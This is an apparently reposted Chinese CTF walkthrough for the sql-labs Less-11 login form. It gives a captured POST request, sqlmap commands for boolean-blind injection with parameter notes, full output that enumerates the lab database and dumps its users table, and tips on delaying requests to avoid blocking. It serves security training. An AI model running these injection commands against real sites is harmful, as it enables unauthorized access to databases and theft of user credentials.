【CTF-WEB-SQL】SQL注入基本流程(sql-labs的Less11)(用burp抓取post然后用sqlmap盲注)

題目

從第11less開始,就是POST表單了
在這里插入圖片描述

burp抓取數據包

在這里插入圖片描述

將抓取到的數據包存放到桌面,保存為post.txt

在這里插入圖片描述

數據包內容如下:


POST /Less-11/ HTTP/1.1
Host: 223.112.39.132:44537
Content-Length: 39
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://223.112.39.132:44537
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://223.112.39.132:44537/Less-11/
Accept-Encoding: gzip, deflate, br
Cookie: td_cookie=3853948853
Connection: keep-aliveuname=admin&passwd=123456&submit=Submit

執行sqlmap查詢當前數據庫名稱

sqlmap -r post.txt --batch --current-db --dbms=mysql --level=3 --risk=2 --technique=B

參數說明

  • batch:自動化模式,自動選擇所有默認選項

  • dbms=mysql:明確目標數據庫類型,顯著加快檢測速度

  • level=3:檢測等級提升(包含Referer/Cookie等頭部檢測)

  • risk=2:中等風險注入技術(平衡成功率和觸發WAF的風險)

  • technique=B:優先使用布爾盲注(對POST表單最有效)

  • flush-session:清除緩存確保全新檢測

預期輸出


┌──(kali?kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --current-db --dbms=mysql --level=3 --risk=2 --technique=B_____H_____ ___[)]_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:43:14 /2025-07-20/[09:43:14] [INFO] parsing HTTP request from 'post.txt'
[09:43:14] [INFO] testing connection to the target URL
[09:43:14] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:43:15] [INFO] testing if the target URL content is stable
[09:43:15] [INFO] target URL content is stable
[09:43:15] [INFO] testing if POST parameter 'uname' is dynamic
[09:43:15] [WARNING] POST parameter 'uname' does not appear to be dynamic
[09:43:16] [INFO] heuristic (basic) test shows that POST parameter 'uname' might be injectable (possible DBMS: 'MySQL')
[09:43:16] [INFO] heuristic (XSS) test shows that POST parameter 'uname' might be vulnerable to cross-site scripting (XSS) attacks
[09:43:16] [INFO] testing for SQL injection on POST parameter 'uname'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[09:43:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:43:18] [WARNING] reflective value(s) found and filtering out
[09:43:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[09:43:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[09:43:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[09:43:39] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[09:43:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:43:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:44:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[09:44:11] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="Your")
[09:44:11] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[09:44:11] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 263 HTTP(s) requests:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:44:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL (MariaDB fork)
[09:44:16] [INFO] fetching current database
[09:44:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:44:16] [INFO] retrieved: security
current database: 'security'
[09:44:29] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:44:29 /2025-07-20/

要獲取 security 庫中的表名和 users 表的數據,請使用以下完整指令:

獲取 security 庫的所有表名

sqlmap -r post.txt --batch --dbms=mysql -D security --tables

參數說明

  • -D security:指定目標數據庫名稱
  • --tables:列出數據庫中的所有表

預期輸出

┌──(kali?kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --dbms=mysql -D security --tables_____H_____ ___[(]_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:51:49 /2025-07-20/[09:51:49] [INFO] parsing HTTP request from 'post.txt'
[09:51:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:51:50] [INFO] testing MySQL
[09:51:50] [INFO] confirming MySQL
[09:51:50] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL >= 8.0.0 (MariaDB fork)
[09:51:50] [INFO] fetching tables for database: 'security'
[09:51:50] [INFO] fetching number of tables for database 'security'
[09:51:50] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:51:50] [INFO] retrieved: 4
[09:51:50] [INFO] retrieved: emails
[09:51:53] [INFO] retrieved: referers
[09:51:56] [INFO] retrieved: uagents
[09:51:59] [INFO] retrieved: users
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+[09:52:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:52:01 /2025-07-20/

獲取 users 表的所有數據

sqlmap -r post.txt --batch --dbms=mysql -D security -T users --dump

參數說明

  • -T users:指定目標表名
  • --dump:導出整個表的數據

預期輸出

┌──(kali?kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --dbms=mysql -D security -T users --dump_____H_____ ___[.]_____ ___ ___  {1.9.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:52:03 /2025-07-20/[09:52:03] [INFO] parsing HTTP request from 'post.txt'
[09:52:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:52:03] [INFO] testing MySQL
[09:52:03] [INFO] confirming MySQL
[09:52:03] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL >= 8.0.0 (MariaDB fork)
[09:52:03] [INFO] fetching columns for table 'users' in database 'security'
[09:52:03] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:52:03] [INFO] retrieved: 3
[09:52:03] [INFO] retrieved: id
[09:52:04] [INFO] retrieved: username
[09:52:08] [INFO] retrieved: password
[09:52:11] [INFO] fetching entries for table 'users' in database 'security'
[09:52:11] [INFO] fetching number of entries for table 'users' in database 'security'
[09:52:11] [INFO] retrieved: 8
[09:52:11] [INFO] retrieved: 1
[09:52:11] [INFO] retrieved: Dumb
[09:52:13] [INFO] retrieved: Dumb
[09:52:15] [INFO] retrieved: 2
[09:52:16] [INFO] retrieved: I-kill-you
[09:52:20] [INFO] retrieved: Angelina
[09:52:23] [INFO] retrieved: 3
[09:52:24] [INFO] retrieved: p@ssword
[09:52:27] [INFO] retrieved: Dummy
[09:52:29] [INFO] retrieved: 4
[09:52:30] [INFO] retrieved: crappy
[09:52:32] [INFO] retrieved: secure
[09:52:35] [INFO] retrieved: 5
[09:52:35] [INFO] retrieved: stupidity
[09:52:39] [INFO] retrieved: stupid
[09:52:41] [INFO] retrieved: 6
[09:52:42] [INFO] retrieved: genious
[09:52:45] [INFO] retrieved: superman
[09:52:48] [INFO] retrieved: 7
[09:52:49] [INFO] retrieved: mob!le
[09:52:51] [INFO] retrieved: batman
[09:52:54] [INFO] retrieved: 8
[09:52:54] [INFO] retrieved: admin
[09:52:57] [INFO] retrieved: admin
Database: security
Table: users
[8 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
+----+------------+----------+[09:52:59] [INFO] table '`security`.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/223.112.39.132/dump/security/users.csv'
[09:52:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:52:59 /2025-07-20/

分步獲取(適合大表)

(1) 先獲取表結構:

sqlmap -r post.txt --batch -D security -T users --columns

(2) 按需導出指定列:

sqlmap -r post.txt --batch -D security -T users \-C id,username,password \  # 指定要導出的列--dump

重要注意事項:

  1. 數據量較大時:添加 --limit=100 限制每次查詢行數
  2. 避免被封禁:添加延時參數 --delay=2(2秒/請求)
  3. 結果保存:使用 --output-dir=report 生成完整報告
  4. HTTPS目標:在 Host 頭后添加 :443 端口

Less11也可以使用sqlmap進行解決

在這里插入圖片描述
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/917700.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/917700.shtml
英文地址,請注明出處:http://en.pswp.cn/news/917700.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

WPF 與 Winform :Windows 桌面開發該用誰?

WPF 與 Winform :Windows 桌面開發該用誰? 一、 WPF 與 Winform的概念 WPF:顏值與實力并存的 “后起之秀” Winform:簡單直接的 “老前輩” 二、WPF 與 Winform 的核心差異 1. 設計理念:分離 vs 耦合 2. 布局系統:靈活適配 vs 固定坐標 3. 視覺效果:絢麗動畫 vs 樸素原生…

【Git學習】入門與基礎

目錄 Git的安裝 Git 配置用戶信息 Git 初始化本地倉庫 Git 工作區、暫存區和版本庫 Git 跟蹤文件 Git 修改文件 Git 刪除文件 Git 撤銷本地文件的修改 Git 取消暫存 Git 跳過暫存區 Git 版本回退 Git 撤銷提交 Git 設置忽略文件 Git 比較文件差異 Git 代碼托管平臺…

idea添加gitlab訪問令牌

1.按下圖所示順序操作gitlab,獲取到對應的token;2.填寫對應的gitlab地址和第一步獲取的token

人工智能領域、圖歐科技、IMYAI智能助手2025年5月更新月報

2025年5月IMYAI平臺技術動態與模型更新綜述 摘要: 本文整理了2025年5月期間IMYAI平臺發布的主要技術更新、新模型上線信息及功能調整公告,涵蓋DeepSeek、Gemini、Claude、即夢、Suno等模型動態及平臺功能優化。 正文: 一、 模型更新與上線Dee…

機器人權利:真實還是虛幻,機器人權利研究如何可能,道德權利與法律權利

一、機器人權利:真實還是虛幻?機器人權利的討論源于技術進步對傳統法律與倫理體系的沖擊,其真實性取決于技術發展階段與社會接受度的互動。當前,機器人權利仍呈現“虛幻與真實交織”的特征:技術基礎:從工具…

通信小白產品學習碎片01

1. 云中繼(Cloud Media Relay) 運營商在Volte/Vonr場景中引入的核心網關鍵功能,用于優化媒體流的傳輸路徑,解決跨運營商、跨地域通信時的網絡繞行問題。 傳統:A終端—>A核心網—>跨網互聯點—>B核心網—>…

?CVPR2025 3D 生成新框架|Kiss3DGen 讓 2D 擴散模型玩轉 3D 資產生成

?CVPR 3D 生成新框架|Kiss3DGen 讓 2D 擴散模型玩轉 3D 資產生成 📄論文題目:Kiss3DGen: Repurposing Image Diffusion Models for 3D Asset Generation ??作者及機構:Jiantao Lin、Xin Yang、Meixi Chen 等(HKUST …

HTTP基本結構

目錄前言1. 概念2. HTTP基本格式2.1 抓包原理2.2 抓包軟件使用2.3 抓包結果3. HTTP請求3.1 URL3.2 方法3.3 版本號3.4 HTTP報頭3.4 正文部分4. HTTP響應4.1 HTTP狀態碼4.2 其他部分總結前言 本篇文章介紹HTTP的基本結構。 1. 概念 HTTP全稱為超文本傳輸協議,是一…

CVPR優秀論文 | DashGaussian:在200秒內優化三維高斯點繪制

本文選自gongzhonghao【圖靈學術SCI論文輔導】關注我們,掌握更多頂會頂刊發文資訊1.導讀1.1 論文基本信息論文標題:DashGaussian: Optimizing 3D Gaussian Splatting in 200 Seconds作者:Youyu Chen、Junjun Jiang、Kui Jiang、Xiao Tang、Zh…

知識蒸餾 - 基于KL散度的知識蒸餾 HelloWorld 示例 采用PyTorch 內置函數F.kl_div的實現方式

知識蒸餾 - 基于KL散度的知識蒸餾 HelloWorld 示例 采用PyTorch 內置函數F.kl_div的實現方式 flyfish kl_div 是 Kullback-Leibler Divergence的英文縮寫。 其中,KL 對應提出該概念的兩位學者(Kullback 和 Leibler)的姓氏首字母“div”是 div…

C語言基礎_補充知識、數據類型轉換、選擇結構

0、補充知識: 原碼、反碼、補碼的知識: 計算機中原碼轉補碼,正數不變,負數是符號位不變,其余各位取反碼加一。負數的補碼轉原碼應該是補碼減一然后再取反,為什么負數的補碼轉原碼是補碼取反然后再加一&…

ubuntu自動重啟BUG排查指南

當 Ubuntu 系統意外重啟時,排查原因需要從系統日志、硬件狀態和定時任務等多個方面入手。 示例:通過日志檢查重啟原因 last -x | head | tac 此命令顯示最近的關機和重啟記錄。如果記錄中包含 shutdown 或 crash,則可能是人為操作或系統故障導…

2. JS 有哪些數據類型

總結 基礎類型(7 種):number, string, boolean, null, undefined, symbol, bigint引用類型(對象及其子類):object, array, function, date, regexp, map, set 等 判斷方式推薦: 基礎類型&#x…

pipeline方法關系抽取--課堂筆記

Pipeline方法課堂筆記 一、Pipeline方法原理 pipeline方法是指在實體識別已經完成的基礎上再進行實體之間關系的抽取. pipeline方法流程: 先對輸入的句子進行實體抽取,將識別出的實體分別組合;然后再進行關系分類. 注意:這兩個子過…

linux系統離線環境安裝clickhouse客戶端

1、下載離線安裝包: 方式1:網站直接下載 鏈接:https://packagecloud.io/altinity/clickhouse 注意要下載同一版本的四個包 方式2:夸克網盤分享 鏈接:https://pan.quark.cn/s/7e77e6a1bc5f 2、將本地下載的安裝包上傳…

GPT-5的誕生之痛:AI帝國的現實危機

目錄 前言 一、“俄里翁”的隕落:一場夢碎的代際飛躍 二、扎克伯格的“抄家式”突襲 三、天才的詛咒:當AI聰明到無法與我們對話 四、燒錢的無底洞與微軟的影子 結語:AI帝國的黃昏,還是黎明前的黑暗? &#x1f3a…

探索設計模式的寶庫:Java-Design-Patterns

在軟件開發領域,設計模式是解決常見問題的經典方案,它們如同建筑師的藍圖,為開發者提供了經過驗證的最佳實踐。今天我要向大家介紹一個GitHub上的明星項目——java-design-patterns,這是一個全面、實用且持續更新的設計模式寶藏項…

JavaScript中的作用域、閉包、定時器 由淺入深

1. JavaScript中的作用域是什么? 作用域(Scope)是程序中定義變量的區域,它決定了變量的可訪問性(可見性)。在JavaScript中,作用域主要分為三種:全局作用域、函數作用域和塊級作用域&…

倉庫管理系統-11-前端之頭部區域Header的用戶登錄和退出功能

文章目錄 1 登錄功能 1.1 登錄頁面(Login.vue) 1.1.1 頁面布局 1.1.2 初始化數據 1.1.3 confirm方法 1.1.4 UserController.java(登錄接口) 1.1.5 Login.vue 1.2 登錄頁面的路由 1.2.1 創建路由文件(router/index.js) 1.2.2 注冊路由器(main.js) 1.2.3 路由視圖(App.vue) 2 退出…

【VLNs篇】07:NavRL—在動態環境中學習安全飛行

項目內容論文標題NavRL: 在動態環境中學習安全飛行 (NavRL: Learning Safe Flight in Dynamic Environments)核心問題解決無人機在包含靜態和動態障礙物的復雜環境中進行安全、高效自主導航的挑戰,克服傳統方法和現有強化學習方法的局限性。核心算法基于近端策略優化…